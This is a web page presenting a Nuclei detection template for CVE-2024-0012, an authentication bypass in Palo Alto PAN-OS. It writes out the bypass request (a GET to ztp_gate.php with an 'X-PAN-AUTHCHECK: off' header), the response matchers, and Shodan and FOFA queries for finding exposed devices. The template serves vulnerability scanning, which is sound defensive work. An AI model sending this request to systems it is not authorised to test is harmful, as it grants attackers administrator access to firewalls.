PAN-OS Management Web Interface - Authentication Bypass

ID: CVE-2024-0012

Severity: critical

Author: johnk3r,watchtowr

Tags: cve,cve2024,paloalto,globalprotect,kev

Description

An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities

YAML Source

id: CVE-2024-0012

info:
  name: PAN-OS Management Web Interface - Authentication Bypass
  author: johnk3r,watchtowr
  severity: critical
  description: |
    An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities
  reference:
    - https://security.paloaltonetworks.com/CVE-2024-0012
    - https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-0012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-0012
    cwe-id: CWE-306
    epss-score: 0.01216
    epss-percentile: 0.85843
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: paloaltonetworks
    product: pan-os
    fofa-query: icon_hash="-631559155"
    shodan-query:
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
      - http.favicon.hash:"-631559155"
  tags: cve,cve2024,paloalto,globalprotect,kev

http:
  - raw:
      - |
        GET /php/ztp_gate.php/.js.map HTTP/1.1
        Host: {{Hostname}}
        X-PAN-AUTHCHECK: off

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "<title>Zero Touch Provisioning", "Zero Touch Provisioning (ZTP)")'
          - 'contains(body, "/scripts/cache/mainui.javascript")'
          - 'contains(header, "PHPSESSID=")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450220206e48ebcb85001857465da9aa6e98ef489fab11e9ab1891aed7bf3e0faf1a22022100c655b935a009f6ea31a02d8a9dcc0c21c913545657db627f0aa27b1dfed23850:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-0012.yaml"

View on Github